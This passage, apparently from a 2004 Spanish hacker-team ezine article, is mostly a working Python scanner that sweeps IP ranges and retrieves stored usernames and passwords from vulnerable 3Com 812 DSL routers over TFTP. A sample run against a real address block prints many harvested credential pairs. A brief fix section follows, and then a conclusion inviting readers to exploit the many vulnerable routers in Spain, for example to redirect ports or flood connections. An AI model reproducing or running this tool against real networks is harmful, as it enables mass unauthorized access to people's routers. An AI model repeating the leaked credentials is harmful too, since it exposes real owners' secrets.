("err","usertoolong") # Restarle 2 ul=ul-2 # Cogemos el username username=f[0x21:0x21+ul] # Longitud de pass pl=ord(f[0x22+ul]) # > 20 Sospechosa if pl>20: return ("err","passtoolong") # Resto 2 pl=pl-2 # Cojo pass password=f[0x23+ul:0x23+ul+pl] # Devuelvo un tuple ("tupla") con user y pass return (username,password) # Si no, borramos a esta sección y pasamos a la siguiente f=f[0x100:] # Si no hay mas secciones, aquí pasa algo raro return ("err","nosection") ##### END extract # Este evento controla el cierre de los threads por SIGINT (control+C) # Si se pone a ON los threads se cierran finishup=threading.Event() ##### CLASE Scanner: Thread de escaneo, va pidiendo IPs a una clase IPranges class Scanner(threading.Thread): # Deriva de Thread siempre # Especificamos ID (para el thread) y timeout de las transferencias def __init__(self,id,timeout): threading.Thread.__init__(self) # Obligatorio hacer esto self.t=tftplib.TFTP(); # Nuestro objeto TFTP para este thread self.t.timeout=timeout self.id=id self.ip=None def run(self): while 1: # Para siempre... o no? # (luego hay un return, no os asustéis xD) self.ip=ipranges.getnext() # Coge siguiente ip de los rangos if self.ip==None: # Si no quedan IPs plock.acquire() # Esto es para que no se mezclen los # mensajes print "ID: "+str(self.id)+" exiting..." plock.release() return # Salir if finishup.isSet(): # Si han pulsado Control+C plock.acquire() print "ID: "+str(self.id)+" exiting..." plock.release() return # Salir self.t.connect((self.ip,69)) # Conectarse a ese host/port # (en realidad no transfiere # nada ya que es UDP) try: f = self.t.retrieve("users") # Intenta leer "users" (u,p)=extract(f) # Después saca user y pass if finishup.isSet(): # Si se ha pulsado Control+C ahora plock.acquire() print "ID: "+str(self.id)+" exiting..." plock.release() return # Salir plock.acquire() # Imprimir IP print "ID: "+str(self.id)+" FOUND:"+self.ip+" "+u+"!"+p plock.release() except tftplib.TFTPError: # Si ha habido un timeout u otro error pass # No hacer nada, simplemente pasar a siguiente ip ##### END Scanner ##### USAGE # Imprime uso def usage(): print "Usage: "+sys.argv[0]+" [OPTION]... IP_START[-IP_END]..." print "or: "+sys.argv[0]+" --help" print "Scans the specified IP address(es) for vulnerable 3com 812 DSL" print "routers and prints the username and password separated by '!'" print "" print "The possible OPTIONs are:" print " -t, --timeout TIMEOUT Sets the timeout for requests in seconds." print " Default is 5 seconds" print " -s, --scanners SCANNERS Number of threads that should concurrently" print " scan several addresses. Default is 100" print " -h, --help Print this message" print "" print "IP_START and IP_END specify the IP address range that should be" print "scanned. If only IP_START is specified only one IP address is " print "scanned.\nMultiple ranges or addresses are allowed." print "\n" print "Note: on machines with newer processors and broadband internet it may" print "desireable to increase SCANNERS to something like 200 and reduce " print "the timeout to 4. Be careful not to flood yourself with responses!" print "" print "Report bugs to: <marcansoft@marcansoft.com>" print " <sweet_security@has.no.mail.com>" ##### END USAGE ##### MAIN PROGRAM # Aqui empieza todo def main(): # si esto es consola y te gustan las chorraditas, este código te pone # PYTHON en negrita :P python="\x1b[1mPYTHON\x1b[m" print "+--------------------------------------------------------+"; print "| 3com 812 DSL router scanner and password extractor |"; print "| "+python+" version by Sweet_Security & marcansoft |"; print "+--------------------------------------------------------+"; # Defaults timeout=5 scanners=50 # Extraer argumentos try: opts, args = getopt.getopt(sys.argv[1:], 'ht:s:', ['help','timeout=', 'scanners=']) except getopt.GetoptError: # Si no es valido print "Invalid options" usage() sys.exit(2) # Leer opciones for o,a in opts: if o in ("-h","--help"): usage() sys.exit(0) if o in ("-t","--timeout"): timeout=int(a) if o in ("-s","--scanners"): scanners=int(a) # Si no hay rangos if len(args) < 1: print "No IP addresses or ranges specified!" usage() sys.exit(1) # Leer rangos for a in args: # Es valido x.x.x.x-x.x.x.x? if re.match(r"^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\- [0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$" ,a) != None: ips = string.split(a, "-") # Chequear ambas IPs if checkip(ips[0])==0: print "Invalid IP address" usage() sys.exit(3) if checkip(ips[1])==0: print "Invalid IP address" usage() sys.exit(3) # Añadir a la clase ipranges.add(ips[0],ips[1]) # Es una sola IP? elif re.match(r"^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$",a) != None: # Chequear if checkip(a)==0: print "Invalid IP address" usage() sys.exit(3) # El fin sería la siguiente IP para escanear sólo una b=incip(a) if b == None: print "Invalid IP address" usage() sys.exit(3) # Añadir ipranges.add(a,b) else: print "Invalid argument" usage() sys.exit(4) # Escaneadores scans=[] # Crear threads for i in range(scanners): scn=Scanner(i,5) scn.start() scans.append(scn) try: # Mientras qeuden threads while(threading.activeCount()>1): # Esperar un segundo time.sleep(1) except KeyboardInterrupt: # Si se pulsa Control+C (SIGINT) print "CAUGHT SIGINT, please wait while closing threads..." # Enviar señal de acabado a los threads finishup.set() # Y esperar a que terminen while(threading.activeCount()>1): time.sleep(1) sys.exit(0) ##### END MAIN PROGRAM if __name__ == "__main__": main() ----------------------------------------------------------------------------- Aquí tenemos el fin del código. Está lo suficientemente comentado no? :) Bueno, ahora llegó el momento de probarlo: marcansoft:~$ ./812scanner.py 80.59.0.0-80.59.100.0 +--------------------------------------------------------+ | 3com 812 DSL router scanner and password extractor | | PYTHON version by Sweet_Security & marcansoft | +--------------------------------------------------------+ ID: 15 FOUND:80.59.0.xx jele! ID: 16 FOUND:80.59.0.xx err!passtoolong ID: 36 FOUND:80.59.0.xx err!passtoolong ID: 39 FOUND:80.59.0.xx admintde!admintde ID: 44 FOUND:80.59.0.xx admintde!admintde ID: 40 FOUND:80.59.0.xx piratito!070401 ID: 12 FOUND:80.59.0.xx maer!maer3 ID: 18 FOUND:80.59.0.xx admintde!admintde ID: 19 FOUND:80.59.0.xx maer!maer3 ID: 24 FOUND:80.59.0.xx administrador!admroubsaracena ID: 48 FOUND:80.59.0.xx adminttd!adminttd ID: 21 FOUND:80.59.0.xx tutti!2580 ID: 24 FOUND:80.59.0.xx adminttd!adminttd ID: 33 FOUND:80.59.0.xx adminttd!adminttd ID: 21 FOUND:80.59.0.xx maer!maer3 ID: 4 FOUND:80.59.0.xx maer!maer3 ID: 28 FOUND:80.59.0.xx administrador!belit26 ID: 28 FOUND:80.59.0.xx adminttd!adminttd ID: 16 FOUND:80.59.0.xx err!passtoolong ID: 9 FOUND:80.59.0.xx err!passtoolong ID: 10 FOUND:80.59.0.xx admintde!admintde ID: 22 FOUND:80.59.0.xx 5050! ID: 43 FOUND:80.59.0.xx admintde!admintde ID: 45 FOUND:80.59.0.xx 00000000!00000000 ID: 25 FOUND:80.59.0.xx maer!maer3 ID: 4 FOUND:80.59.0.xx maer!maer3 ^C CAUGHT SIGINT, please wait while closing threads... ID: 28 exiting... ID: 24 exiting... ID: 33 exiting... ID: 21 exiting... ID: 44 exiting... ID: 40 exiting... ID: 16 exiting... ID: 0 exiting... ID: 1 exiting... [...] ID: 36 exiting... ID: 25 exiting... ID: 39 exiting... ID: 4 exiting... marcansoft:~$ También podemos modificar los parámetros por defecto a -s 256 -t 4 por ejemplo, para que vaya más rápido. Pero no os vayáis a floodear a vosotros mismos! .==========================================================================. |===========~ 5. Solución ~================================================= |=========================================================================== Bueno, una manera, bastante sencilla de poder resolver todo este problemilla del bug, puede ser la siguiente: 1- Telnet IP_del_router 2- Luego poner el User y el Pass 3- y por último el comando: Clear Tftp client Como podemos ver, esto podría sacarnos de un apuro en más de una oportunidad jeje.. .==========================================================================. |===========~ 6. Conclusiones ~============================================= |=========================================================================== Este articulo pretende mostrar a todos los lectores que tener bien configurado cualquier periferico y software que usamos es muy importante. Solo dire que entrando a un simple router puedes hacer estas cosas por lo menos: 1.- Redirigir puertos del exterior a redes internas 2.- Petar la conexion 3.- Flooding 4.- Chatear 5.- A lo mejor el pass de los PCs es el mismo que el del router quien sabe 6.- .... .. .. Hay infinidad de posibilidades, dejaremos a vuestra mente y capacidades el descubrirlas. Hemos hecho varios escanners a distintos rangos, y podemos decir que hay muuuuchoooos 3com vulnerables en españa así que ha disfrutar pero con control. Que os jugáis la cárcel o el reformatorio. Y recordar: "Cuando la oscuridad os oculte el camino, que la paranoia sea tu guia" ----------------------------------------------------------------------------- DisidentS Hacker Team 2004 (c). ----------------------------------------------------------------------------- Mail del Team: disidents@yahoo.es ----------------------------------------------------------------------------- 0 X0 0X S